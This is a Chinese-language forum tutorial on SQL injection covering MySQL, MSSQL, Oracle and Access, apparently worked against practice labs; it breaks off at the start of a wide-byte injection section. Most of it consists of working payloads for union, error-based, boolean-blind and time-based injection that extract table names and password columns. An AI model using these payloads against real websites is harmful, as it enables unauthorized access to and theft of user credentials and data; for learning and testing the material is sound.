SQL注入

维他柠檬茶   ·   发表于 2020-06-18 16:55:07   ·   技术文章投稿区

一、 SQL注入原理

在参数可控的情况下,网站将攻击者输入的字符串(未经处理)拼接了代码中的原有的SQL语句一起放进数据库当成代码执行


二、 SQL注入的类型

SQL注入的类型分别为:
数据库分类:MySQL注入、Mssql注入、Access注入、Oracle注入等。
数据类型分类:整数型注入、字符型注入。
注入方式分类:显错注入、联合注入、布尔盲注、延时注入、报错注入、堆叠注入、宽字节注入、偏移注入、DNSlog注入、反弹注入等。
HTTP请求分类:POST注入、GET注入、Cookie注入。


三、 SQL注入的危害

可以获取敏感信息,修改信息,脱裤,写webshell,命令执行等。


四、 数据库之间的一些小区别

  1. MySQL5.0版本一下没有系统自带库information_schema。
  2. ACCESS没有数据库,只有表和字段;注入时也必须要带上表名,且没有注释符。
  3. MySQL使用limit限制输出数据条目;ACCESS和Mssql则使用top;Oracle使用rownum=1 ,rownum<3输出两条(也可以用where条件的<>不等于来选择自己不想要输出的信息)。
  4. Oracle有个自带表Dual,有人说它是实表,也有人说是虚表,它实际上位满足查询条件而产生。
  5. 井号注释只适用于MySQL

五、 判断数据库

  1. MySQLand length(user())>1 #返回正常
  2. Accessand (select count(*)from MSysAccessObjects)>0 #返回正常
  3. Mssqland (select count(*)from sysobjects)>0 #返回正常
  4. Oracleand (select count(*) from sys.v_$version)>0 #返回正常

六 手工注入的基本流程

1. 判断注入点

  1. 通过观察网页的变化进行判断
  2. 数字型:and 1=1/1=2;-1/-0;order by 1/100000000000;(前面是根据网页的显示是否正常或变化进行判断);and sleep(5)(根据网页的延时时间判断,这个可能会有网速的干扰)等。
  3. 字符型:'/"/')/")/) -- qwe(%23) #闭合,闭合基本就能判断了,实在想进一步就闭合后像数字型一样and 1=1/1=2;and sleep(5)。

2. 获取字段数

order by/group by #利用二分法,根据网页的显示变化

3. 数据库注入

联合注入

MySQL

  • GET

获取回显点:

数字型:
根据获取的字段进行联合查询,查看显示点。看到网页显示的数字和联合查询字段对应的数字来得出哪个字段查询出来的数据可以在网站中显示出来。(利用and 1=2,也可以用其他方式比如-2/2.1154等,将前面的查询报错,进而网页则显示联合查询出来的数据。)

  1. and 1=2 union select 1,2,3,4,5


字符型:

字符型和数字型的差别只是闭合和注释,其余的语句基本一样。像这里因为PHP写的SQL语句的查询条件参数是用单引号括着的,所以要用单引号,如果是其他的比如双引号就要用双引号闭合,然后把后面那个多余的符合注释掉或处理掉。

  1. ' and 1=2 union select 1,2,3-- qwe


爆出当前数据库名:

根据得到的输出点,可以在该字段查询自己想要的信息,如当前网站使用的数据库。

  1. and 1=2 union select 1,database(),3,4,5

也可以查询数据库版本信息

  1. and 1=2 union select 1,database(),version(),4,5

爆出表名:

知道数据库我们就可以在系统自带库里查询该库的所以表的名字。

  1. and 1=2 union select 1,database(),table_name,4,5 from information_schema.tables where table_schema=database() limit 0,1
  2. information_schema -> 系统自带的数据库
  3. information_schema.tables -> 查询的是系统自带库的tables
  4. table_name/table_schema -> tables表中的table_name/table_schema字段(列)
  5. limit 0,1 -> 从第零行数据开始输出一行

爆出字段名:

知道表了,就可以查询出表中的字段名。

  1. and 1=2 union select 1,database(),column_name,4,5 from information_schema.columns where table_name='users' limit 0,1

爆出数据:

表名有了,字段名有了,就可以查询表里的数据了。

  1. and 1=2 union select 1,2,passwd,4,5 from users limit 0,1

补充:

  1. and 1=2 union select 1,2,group_concat(passwd),4,5 from users
  2. group_concat() #将字符串用逗号进行拼接,这里将查询出来的所有数据用逗号拼接输出。但如果数据过多会非常的乱。


  • POST

万能密码:

POST注入提得最多的应该就是万能密码了。(默认登录表里的第一个用户)

万能密码,where前面的那个条件为假后面的1=1为真,or或,一真一假为真,所以条件为真,则查询表里的全部数据。

  1. ' or 1=1 -- qwe

  1. ' or 1=1 limit 1,1-- qwe

获取字段数:

  1. ' or 1=1 order by 1 -- qwe


搜索框大概是这样的,字段闭合之后就可以获取了。


获取回显点:

和字符型一样也行,也可以直接省略and 1=2

  1. ' and 1=2 union select 1,2 -- qwe
  2. ' union select 1,2 -- qwe

下面的步骤和GET类型的基本一样就不写了。


Mssql

获取字段数:

Mssql获取字段数会受字段的某些类型影响。像这里order by 3网页就报错了,order by 4网页是正常回显的。这里有4个字段。

获取回显点:

回显点的获取也有要注意的。先看前面这个就和平时的没什么不同。(注释不能用井号噢)

再看刚刚获取了字段数这个站点,就报错了。

刚刚获取字段时第三个字段是报错的我们加上单引号,还是报错。

再将union改成union all,才返回了回显点。

int类型的字段也可以用字符串来填充,不会报错,但varchar用数字就会报错。所以,在Mssql联合注入时最好使用union all,获取字段时字段回显参照最好先用null或者字符串,在来看这些字段可以接受那些类型。

爆出数据库:

虽说好像不用爆数据库都能爆出表中的数据,但还是写一下。

  1. and 1=2 union all select '1',db_name(),'3','4'
  2. select db_name() #查询当前数据库
  3. select @@version #查询当前数据库版本
  4. select user #查询当前用户
  5. IS_SRVROLEMEMBER() #查询数据库权限,是该权限返回1
  6. 常用权限:sysadminserveradminsetupadminsecurityadmindiskadminbulkadmin
  7. select name from master.dbo.sysdatabases #查询系统库 系统自带库master的dbo.sysdatabases表

爆出用户创建的表:

  1. and 1=2 union all select '1',id,name,'4' from sysobjects where xtype='U'
  2. sysobjects -> 查询系统表
  3. xtype='U' -> 用户创建的,这里是用户创建的表
  4. 要记住表对应的id,查询字段的时候要用到

显示下一个表的id和name,就是加上条件name不等于已经显示出来的表。

  1. and 1=2 union all select '1',id,name,'4' from sysobjects where xtype='U' and name<>'manage'

爆出表的字段:

syscolumns表里数据是全部表的字段,而这些字段根据id来决定这些字段属于哪个表,同一个表的字段id都相同,而这个id对应着sysobjects里储存所有表名的id。下面说明manage表里有id字段,可以用<>不等于继续查询其他的字段。

  1. and 1=2 union all select '1',id,name,'4' from syscolumns where id=5575058 #sysobjects中的manage的id=5575058

爆出表里的数据:

到这步就很简单了,表名、字段都有了。

  1. and 1=2 union all select id,username,password,'4' from manage

补充:

  1. ' and 1=2 union select top 1 id,name,3 from sysobjects where xtype='U'-- qwe
  2. top x -> 输出几行 top 1就是输出一行数据


Oracle

获取回显点:

Oracle获取回显点的时候也有它自己的特点。获取回显点的时候最好先用null代替,因为null可以匹配任何数据类型。还有就是Oracle获取回显点时必须要满足查询某个表的格式。像下面的我们就利用了Oracle自带的dual表,这个表前面说了有人说它是实表,也有人说它虚表,单单对它进行查询也没有什么数据,只有一个X;对它给上字段也能回显出来。

  1. and 1=2 union all select null,null,null,null from dual

还有就是为什么要先用null。如果我们像往常一样直接用1,2,3,4会报错。因为Oracle回显的时候要根据字段的数据类型进行回显,要转成和数据类型相同类型的数据才能输出,要不然会报错,null可以满足任何类型,所以先用null代替,就不会报错。

先用那代替后然后在试字段的数据类型,能够输出数字且不报错,它就是数字类型,能够输出字符串的就是字符类型,如果两个都不能输出就可以是其他类型,需要用到函数进行转换才能输出。像下面的第一个字段和第四个字段都是数字类型。

  1. and 1=2 union all select 1,null,null,4 from dual

第二和第三个字符串和数字都报错,就需要函数转换类型,不知道什么类型只能一个个函数去试,直到不报错能正常输出就行了。

下面是我在网上找到的一些转换函数:

  1. (x AS type) x转换为type所指定的兼容数据库类型
  2. TO_DATE(x[,format]) x转换为一个DATE类型
  3. TO_TIMESTAMP(x) 将字符串x转换为一个TIMESTAMP类型
  4. TO_TIMESTAMP_TZ(x) 将字符串x转换为一个TIMESTAMP WITH TIME ZONE 类型
  5. TO_DSINTERVAL(x) x转换为一个INTERVAL DAY TO SECOND类型
  6. NUMTODSINTERVAL(x) 将数字x转换为一个INTERVAL DAY TO SECOND 类型
  7. TO_YMINTERVAL(x) 将字符串x转换为一个INTERVAL YEAR TO MONTH类型
  8. NUMTOYMINTERVAL(x) 将数字x转换为一个INTERVAL YEAR TO MONTH类型
  9. TO_NUMBER(x[,format]) x转换为一个NUMBER类型
  10. TO_BINARY_DOUBLE(x) x转换为一个BINARY_DOUBLE类型
  11. TO_BINARY_FLOAT(x) x转换为一个BINARY_FLOAT类型
  12. TO_CHAR(x[,format]) x转换为一个VARCHAR2字符串。可以指定一个可选参数format来说明x的格式
  13. TO_NCHAR(x) 将数据库字符集中的x转换为一个NVARCHAR2字符串
  14. TO_LOB LONG LONG RAW 转成 LOB
  15. TO_BLOB(x) x转换为一个二进制大对象(BLOB)类型
  16. TO_CLOB(x) x转换为一个字符大对象(CLOB)。CLOB用于保存大量的字符数据
  17. TO_NCLOB(x) x转换为一个NCLOB类型。NCLOB用于保存大量的国家语言字符数据
  18. CHARTOROWID(x) x转换为ROWID类型
  19. ROWIDTOCHAR(x) ROWIDx转换为一个VARCHAR2字符串
  20. ROWIDTONCHAR(x) ROWIDx转换为一个NVARCHAR2字符串
  21. TO_SINGLE_BYTE(x) x中的多字节字符转换为对应的单字节字符。返回类型与x类型相同
  22. TO_MULTI_BYTE(x) x中的单字节字符转换为对应的多字节字符。返回类型与x的类型相同
  23. COMPOSE(x) x转换为一个Unicode编码的字符串,字符串使用与x完全相同的字符集。Unicode使用2字节字符集,可以表示超过65000个字符;也可以用于表示非英语字符
  24. DECOMPOSE(x) 先对x进行分解,再将其转换为一个Unicode字符串,字符串使用与x完全相同的字符集
  25. HEXTORAW(x) 将包含十六进制数字的字符x转换为一个二进制数字(RAW)。这个函数返回RAW类型的数字
  26. RAWTOHEX(x) 将二进制数字(RAW)x转换为一个VARCHAR2类型的字符串,值为等价的十六进制数字
  27. RAWTONHEX(x) 将二进制数字(RAW)x转换为一个NVARCHAR2类型的字符串,值为等价的十六进制数字。NVARCHAR2类型用于以国家字符集格式存储字符串,等价于 TO_NCHAR(RAWTOHEX(raw))
  28. SCN_TO_TIMESTAMP SCN 转成 TIMESTAMP
  29. TIMESTAMP_TO_SCN TIMESTAMP 转成 SCN
  30. ASCIISTR(x) x转换为一个ASCII字符串,其中x可以是由字符集中的任意字符组成的字符串
  31. BIN_TO_NUM(x) 将二进制数字x转换为NUMBER类型
  32. CONVERT(x,source_char_set,dest_char_set) xsource_char_set转换为dest_char_set
  33. UNISTR(x) x中的字符转换为AL16UTF16 UTF8国家语言字符集(NCHAR)
  34. TREAT 将表达式转成指定类型

发现TO_NCHAR,UNISTR,都不会报错,CAST也行,但是要知道字段的数据类型,这里的字符类型应该是nchar,所以也可以算不行。现在所有回显点都出来了。

  1. and 1=2 union all select 1,TO_NCHAR(3),TO_NCHAR('A'),4 from dual
  2. and 1=2 union all select 1,UNISTR(3),UNISTR('A'),4 from dual

爆出用户创建的表:

  1. select * from all_tables -> 查询所有的表,这里包括了所有用户创建的表,第一个字段就是用户名,第二个字段就是表名。

  1. select * from user_tables -> 当前用户创建的表。

可以看到字段名为table_name就是用户创建的表名,这些都是系统默认的,这样注入的时候就可以直接注出表名了。

  1. and 1=2 union all select 1,UNISTR(table_name),TO_NCHAR('a'),4 from user_tables where rownum=1
  2. rownum=1 -> 只输出一行数据,像输出两行以上必须要用<或<=

要查询其他的表,又是用到不等于<>/!=

  1. and 1=2 union all select 1,UNISTR(table_name),TO_NCHAR('a'),4 from user_tables where rownum=1 and table_name<>'NEWS'

爆出字段名:

  1. select * from user_tab_columns -> 查询当前用户创建的字段

可以看到保存当前用户创建的字段的字段名是COLUMN_NAME,属于的表的字段不变还是TABLE_NAME。

  1. and 1=2 union all select 1,UNISTR(TABLE_NAME),TO_NCHAR(COLUMN_NAME),4 from user_tab_columns where TABLE_NAME='ADMIN' AND rownum=1

爆出表中的数据:

爆出了表和字段,数据就出来了。

  1. and 1=2 union all select 1,UNISTR(VAL),TO_NCHAR(MD5),4 from MD5 where rownum=1

补充:

Oracle联合查询时,最好用union all,虽然我截图里的都没有报错,但有些情况会报错。像下面这种情况报错了,可能和数据类型有关,所以还是用union all比较好。


ACCESS

获取回显点:

ACCESS获取字段数和MySQL基本一样,但是获取回显点却必须要带有一个表,这个表只能猜或者枚举,所以没有爆表这一操作。

  1. and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
  2. and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from admin_user

图片

图片

获取表里的数据:

字段名也是猜或者枚举,也是没有爆字段名这一操作。

  1. and 1=2 union select 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from admin_user

图片


报错注入

MySQL报错注入

判断注入点:

这是一个insert+User Agent头注入,如果是单纯的insert注入没有数据库报错信息回显的话,判断注入点就要把注释掉的补全。但加上报错注入的话其实一个单引号基本就能判断是否是注入点了,因为有数据库的报错信息回显证明已经带入数据库执行了。User Agent头注入需要在User Agent的地方注入,可以用hackbar,抓包等就行注入。

注入的php执行的SQL源码:

  1. $insert= INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

这里就提一下insert注入,看下面我们当它单纯的insert注入,和往常一样判断就报错了。
图片

补全了注释掉的部分,就可以看到网页延时了,证明这是个注入点,既然有延时就可以试试延时注入。

图片

  1. ' or if(length((select database()))>0,sleep(5),1),'2','3')-- qwe
  2. 这里只是说可以用到延时注入,但不会细讲,到延时注入的时候再讲。

图片

图片

布尔注入就用不到,因为回显无法进行判断,它会把结果插进去数据库,比如true就插入数据1,false就插入数据0。

图片

图片

图片

图片

图片

还可以将插入的数据写成子查询,不过一般这样需要别人帮你查询显示出来,一般出现在评论、留言等。

图片

图片好了,我们继续说报错注入。一个单引号就可以看到数据库报错信息,证明这里应该有报错注入。

图片

爆出当前数据库:

(1) XPATH语法报错

extractvalue:对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。


updatexml:更新xml文档的函数

语法:updatexml(目标xml内容,xml文档路径,更新的内容)

实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了

但是报错的时候他其实已经执行了那个子查询代码!

  1. ' or updatexml(1,concat(1,database()),1),'','')-- qwe
  2. ' or extractvalue(1,concat(1,database())),'','') -- qwe
  3. ' or updatexml(1,concat(1,database()),1)) -- qwe
  4. ' or extractvalue(1,concat(1,database()))) -- qwe
  5. 报错注入好像不用将注释掉的内容补全也能注入,但括号还是要补全的,插入的列数不影响,插入时的括号会有影响。values()的括号。

图片

图片

图片

图片

(2) 数据溢出

MySQL只有版本号大于5.5时,整形溢出(大于18446744073709551615)会报错。

  1. select ~0; #~取反
  2. select ~0+1;

图片

  1. select (select * from (select user())x);
  2. select ~(select * from (select user())x);
  3. 查询到的用户可能因为取反~变成了0,进行了int转换。

图片

  1. select ~(select * from (select user())x)+1;
  2. 1,溢出报错。

图片

  1. ' and ~(select * from (select user())x)%2b1-- qwe -> %2b加号的url编码
  2. ' or ~(select * from (select user())x)+1,'','') -- qwe
  3. 这个报错必须要补全注释掉的东西。

图片

图片

图片

exp函数也有同样的溢出效果

图片

  1. select exp(~(select * from (select user())x));

图片

  1. ' and exp(~(select * from (select user())x))-- qwe
  2. ' or exp(~(select * from (select user())x)),'','') -- qwe
  3. 这个报错也必须要补全注释掉的东西。

图片

图片

(3)主键重复

利用到了count()和group by在遇到rand()产生的重复值时报错,具体解释我也不太懂。

解释:https://www.freebuf.com/column/235496.html

  1. ' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe
  2. ' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a),'','') -- qwe
  3. 这个也可以不用补全插入列数。

图片

图片

图片

(4)一些特性

MySQL几何函数,要满足如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。

暂时版本号为5.5.40=>x<5.7.17上可注入。

  1. ' and multipoint((select * from(select * from(select database())a)b))-- qwe
  2. ' and geometrycollection((select * from(select * from(select database())a)b))-- qwe
  3. ' and polygon((select * from(select * from(select database())a)b))-- qwe
  4. ' and multipolygon((select * from(select * from(select database())a)b))-- qwe
  5. ' and linestring((select * from(select * from(select database())a)b))-- qwe
  6. ' and multilinestring((select * from(select * from(select database())a)b))-- qwe
  7. geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

图片

  1. ' or geometrycollection((select * from(select * from(select database())a)b))) -- qwe
  2. 这个也可以不用补全插入列数。

图片

爆表名:

  1. ' or updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)) -- qwe
  2. ' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)) -- qwe

图片

图片

爆字段名和数据就不写了。

(5)UUID 8.0.0以上可用

MySQL在初始化的时候会产生一个UUID,UUID 是 通用唯一识别码(Universally Unque Identifier)的缩写,是一种软件建构的标准,是让分布式系统中的所有元素,都能有唯一的辨识信息,而不需要通过中央控制端来做辨识信息的指定。如此一来,每个人都可以创建不与其它人冲突的UUID。在这样的情况下,就不需考虑数据库创建时的名称重复问题。

UUID_TO_BIN和BIN_TO_UUID:

  1. select * from users where id=1 and UUID_TO_BIN((select version()));

图片

  1. select * from users where id=1 and UUID_TO_BIN((select table_name from information_schema.tables where table_schema='user' limit 0,1));

图片

  1. select * from users where id=1 and BIN_TO_UUID((select table_name from information_schema.tables where table_schema='user' limit 0,1));

图片

GTID 8.0.0+

  1. select * from users where id=1 and gtid_subset(version(),1);

图片

爆表那些需要用到字符串截取函数,一个个字符爆,要不然不会报错。

  1. select * from users where id=1 and gtid_subset(substr((select schema_name from information_schema.schemata limit 0,1),1,1),1);

图片

图片

注入地方的不同:

Referer:

User-Agen头注入就在User-Agen的地方注入,那么Referer头注入就在Referer的地方。

源码:

  1. $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$referer', '$IP')";

单引号报错了。
图片

  1. ' or updatexml(1,concat(1,database()),1)) -- qwe

图片

Cookie:

Cookie也一样,就在Cookie注入。但Cookie注入是select类型的,只不过没有回显也不能进行联合查询。

  1. $sql="SELECT * FROM users WHERE username='$cookie' LIMIT 0,1";

图片

  1. ' or updatexml(1,concat(1,database()),1) -- qwe

图片

其他的X-Forwarded-For等头注入就不写了。


Mssql报错注入

判断注入点还是一样,单引号,看有没有数据库报错信息回显。

图片

Mssql的报错注入是运用了数据类型的转换,字符型转换成int类型。

爆当前数据库、用户、版本信息:

  1. select * from users where id=1 and DB_NAME()>0

图片

  1. select * from users where id=1 and user>0

图片

  1. select * from users where id=1 and @@version>0

图片

爆当前数据库的表名:

  1. select * from users where id=1 and (select top 1 name from sysobjects where xtype='U')>0
  2. Mssqlinformation也行
  3. select * from users where id=1 and (select top 1 TABLE_NAME from information_schema.tables where TABLE_NAME<>'users')>0

图片

图片

按照联合查询还要爆出表的id值。

  1. select * from users where id=1 and (select top 1 id from sysobjects where xtype='U')>0 -> 并没有报错,因为id值是int类型,且大于0,返回true,所以没有报错。

图片

  1. select * from users where id=1 and (select top 1 cast(id as varchar(255))+'~' from sysobjects where xtype='U')>0
  2. cast()函数->将查询的数据转换成别的类型

图片

  1. 这里转换之后要加任意一个字符串('~'),要不然它和0比较又自动转换成int类型了,就不报错了。注意+号在url栏是空格需要编码成%2b
  2. select * from users where id=1 and (select top 1 cast(id as varchar(255)) from sysobjects where xtype='U')>0

图片

爆字段名:

  1. select * from users where id=1 and (select top 1 name from syscolumns where id=2105058535)>0

图片

  1. select * from users where id=1 and (select top 1 column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='users')>0

图片

  1. select * from users where id=1 and (select top 1 name from syscolumns where id=OBJECT_ID('users'))>0
  2. 也可以不用查询id来爆字段名。
  3. OBJECT_ID()函数自动转换成表名对应的id

图片

图片

having 1=1配合group by 爆字段名。

  1. select * from users where id=1 and (select top 1 * from users having 1=1)>0

图片

知道了第一个字段名,就可以换group by 爆第二个字段。

  1. select * from users where id=1 and (select top 1 * from users group by id)>0

图片

爆第三个直接在后面用逗号分隔加上第二个字段名。

  1. select * from users where id=1 and (select top 1 * from users group by id,username)>0

图片

爆数据就不写了。

运用函数:

  1. select * from users where id=1+convert(int,@@version)
  2. 这是因为idint类型,如果是字符型。
  3. select * from users where username=''+file_name(convert(int,(select top 1 username from users where username<>'admin')))
  4. 直接给空值,用上file_name函数才可以爆出来。+ -> url编码:%2b

图片

图片

CAST函数也一样

  1. select * from users where username=''+file_name(CAST((select top 1 username from users where username<>'admin') as int))

图片

补充:

类似于group_concat()函数功能的方法。

  1. select * from users where id=1 and (select username from users for xml path)>0
  2. 似乎变成了xml文档格式报错出来。

图片


Oracle报错注入

CTXSYS.DRITHSX.SN()函数:

去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

  1. and 1=ctxsys.drithsx.sn(1,(select user from dual))-- qwe

图片

dbms_xdb_version.checkin()函数:

属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。

语法为:

  1. DBMS_XDB_VERSION.CHECKIN
  2. pathname VARCHAR2
  3. RETURN DBMS_XDB.resid_type;
pathname 签出资源的路径名
  1. and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null-- qwe

图片

dbms_xdb_version.uncheckout()函数,dbms_xdb_version.makeversioned()函数,dbms_utility.sqlid_to_sqlhash()函数:

用法与checkin一致

  1. and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null -- qwe
  2. and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null-- qwe
  3. and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null-- qwe

图片

图片

图片


布尔盲注

当网页关闭错误回显,也没有回显点的时候,就要要到盲注。布尔盲注是根据网页是否正常显示来进行注入。

MySQL布尔盲注

判断注入点就不说了

爆出当前数据库:

  1. ' and length(database())>0-- qwe -> 网页回显正常
  2. length() -> 返回字符串长度,这里获取的是当前数据库名字符长度大于0,返回true,所以网页回显正常,相当于 and 1=1 也是返回true。

图片

  1. ' and length(database())>8-- qwe -> 网页回显错误。

图片

  1. ' and length(database())=8-- qwe -> 网页回显正常证明有数据库名是八个字符组成。

图片

  1. substr(str,pos,num):截取指定位置指定长度的字符串。
  2. mid(str,pos,num):截取指定位置指定长度的字符串。
  3. ascii():转换成ASCII码中对应的值。
  4. ORD():函数返回字符串第一个字符的ASCII值。
  5. ' and ord(mid(database(),1,1))>0-- qwe -> 网页回显正常
  6. 将当前数据库截取第一个字符,转换成ASCII码大于0,返回true。

图片

  1. ' and ord(mid(database(),1,1))>115-- qwe -> 网页返回错误

图片

  1. ' and ord(mid(database(),1,1))=115-- qwe -> 网页返回正常
  2. 那么当前数据库的第一个字符的ASCII码就是115,对一下ASCII码表就可以知道当前数据库的第一个字符是什么了。 ASCII:115->s

图片

图片

接下来就换第二个字符,以此类推。

  1. ' and ord(mid(database(),2,1))>0-- qwe
  2. ' and ord(mid(database(),3,1))>0-- qwe
  3. ......

爆表和字段、数据也就换成子查询,不过可以先查询一下他又几个表。

  1. ' and (select count(*) from information_schema.tables where table_schema=database())>0-- qwe

图片

然后在一个个表,一个个字符往下查。

  1. ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0-- qwe
  2. ' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0-- qwe

图片

字段、数据也一样。

  1. ' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>0-- qwe
  2. ' and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>0-- qwe
  3. ' and length((select username from users limit 0,1))>0-- qwe
  4. ' and ord(mid((select username from users limit 0,1),1,1))>0-- qwe

Mssql布尔盲注

Mssql的盲注和MySQL差不多,就是函数有点不一样。

  1. len函数:返回字符串长度。
  2. substring函数:截取指定位置指定长度的字符串。

注入语句都差不多,例:

  1. 获取当前数据库长度:' and len(db_name())>0 -- qwe
  2. 获取当前数据库的第一个字符:' and ascii(substring(db_name(),1,1))>0 -- qwe
  3. 当前数据库有多少个用户创建的表:' and (select count(*) from sysobjects where xtype='U')>0 -- qwe
  4. 获取第一个表的第一个字符:' and ascii(substring((select top 1 name from sysobjects where xtype='U'),1,1))>0 -- qwe
  5. 猜字段:' and ascii(substring((select top 1 name from syscolumns where id=OBJECT_ID('admin')),1,1))>104-- qwe
  6. 其他就不写了。

Oracle布尔盲注

Oracle的函数和MySQL的一样:

  1. length():返回字符串长度
  2. substr():截取指定位置指定长度的字符串。

相关语句:

  1. and length(user)>0
  2. and ascii(substr(user,1,1))>0
  3. and (select count(*) from user_tables)>2
  4. and ascii(substr((select table_name from user_tables where rownum=1),1,1))>0
  5. and ascii(substr((select COLUMN_NAME from user_tab_columns where TABLE_NAME='ADMIN' AND rownum=1),1,1))>0

decode函数布尔盲注。

decode函数用法:decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)

就是值满足条件就会返回相应的返回值,像MySQL的if的用法。

user是ORACLE1

图片

  1. select decode(substr(user,1,1),'O',1,0) from dual
  2. 截取user的第一个字符作为条件,值为'O',因为user的第一个字符确实是'O',所以返回1

图片

将值换成其他的,它就是返回0。

  1. select decode(substr(user,1,1),'a',1,0) from dual

图片

只不过用这种方法盲注不能像第一种转换成ASCII码用二分法来猜字符,只能一个个字符试。

instr布尔盲注。

instr( string1, string2 )函数:返回string1中string2的位置

  1. select instr((select user from dual),'O') from dual
  2. select instr((select user from dual),'A') from dual

图片

图片

要是遇到AABBAA这种就要先length()它的长度,然后把字符(A-Z,a-z,0-9,_)这样0<instr('AABBAA','A')都枚举一遍,列出大于0的只有AB,再列出它们位置A -> 1 B->3,字符都枚举了一遍都没枚举出来第一想到就是第二个和第四个以后的可能都是A\B,那么就连在一起猜呗。

两种情况。

1、刚好与第一个字符相邻返回1.

图片

2、第二个字符与第一是相同的,但枚举到第三个字符,那么他们的位置就是2,所以返回2,这样也可以知道第二个字符是A。

图片

操作一下。

  1. and length(user)=7

图片

  1. and 0<instr(user,'O')

图片

图片

在自己额外添加一个_,表名可能会用到。

图片

得出了所有大于0的,刚好7个,就剩下他们的位置了。

图片

  1. 二分法:and 2/3<instr(user,'A')
  2. A在第三个位置,以此类推。

图片

图片

ACCESS布尔盲注

ACCESS数据库盲注只是注数据,表和字段都有猜或者枚举。

  1. len():返回字符串长度。
  2. mid():截取指定位置指定长度的字符串。
  3. asc():转换成ASCII码中对应的值。

查数据:

  1. and (select count(*) from admin_user)=1
  2. admin_user表有一条数据

图片

  1. and (select top 1 len(admin) from admin_user)=5
  2. admin字段的数据字符长度为5

图片

  1. and (select top 1 asc(mid(admin,1,1)) from admin_user)=97

图片

图片

就简单提一下。


延时注入

当注入是,无论传入什么值,网页正常或报错都显示一种页面时,那么网页的是否正常显示将不是我们用来判断是否注入成功的依据,就要用基于时间的盲注。

MySQL延时注入

延时注入就是在盲注的基础上增加了两个函数:

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

sleep():休眠多少秒

判断注入点:

无论输入的语句是对还是错,都只返回一种页面。

图片

图片

我们只能用sleep()来判断注入点。

  1. ' and sleep(5)-- qwe
  2. 延时了5秒,证明执行成功了。

图片

猜当前数据库:

  1. ' and if(length(database())>8,1,sleep(5))-- qwe
  2. 数据库长度大于8时延时了5秒,数据库名是长度为8的字符串。

图片

  1. ' and if(ord(mid(database(),1,1))>115,1,sleep(5))-- qwe
  2. ASCII码:115 -> s 数据库的第一个字符

图片

下面就不写了,和盲注差不多,判断方式变了。


Mssql延时注入

WAITFOR DELAY:指等过了指定的时间过去后再执行SQL。

语法:

WAITFOR DELAY ‘0:0:n’ 时:分:秒

if语句:不像MySQL那样有三个参数,只有判断作用。

判断注入点:

  1. ' waitfor delay '0:0:5'-- qwe
  2. 不用and。

图片

猜当前数据库:

  1. 'if(len(db_name())=3) waitfor delay '0:0:5'-- qwe
  2. 数据库名是长度为3的字符串

图片

  1. 'if(ascii(substring(db_name(),1,1))=115) waitfor delay '0:0:5'-- qwe

图片


Oracle延时注入

Oracle的延时注入通常使用dbms_pipe.receive_message,还有另外一种是decode()与高耗时SQL操作组合,也可以用case,if等方式与高耗时操作的组合。高耗时操作是对数据库中大量数据进行查询或其他操作处理操作,例如select count(*) from all_tab_columns ,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

dbms_pipe.receive_message函数:

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。

首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包。

  1. Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:
  2. dbms_pipe.receive_message('RDS', 10) -> RDS可以是任意字符

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。
判断注入点:

  1. and 1=dbms_pipe.receive_message('a', 5)

图片

decode()延时注入:

  1. and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('a',5),0) from dual)
  2. 得到user的子一个字符是'S'

图片

  1. and 1=(select decode(substr((select table_name from user_tables where rownum=1),1,1),'L',dbms_pipe.receive_message('q',5),0) from dual)

图片

decode()利用高耗时:

  1. and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects) ,0) from dual)
  2. 数据有点多,时间还蛮长的。

图片


4.数据库注入扩展

宽字节注入

什么是GBK编码格式:

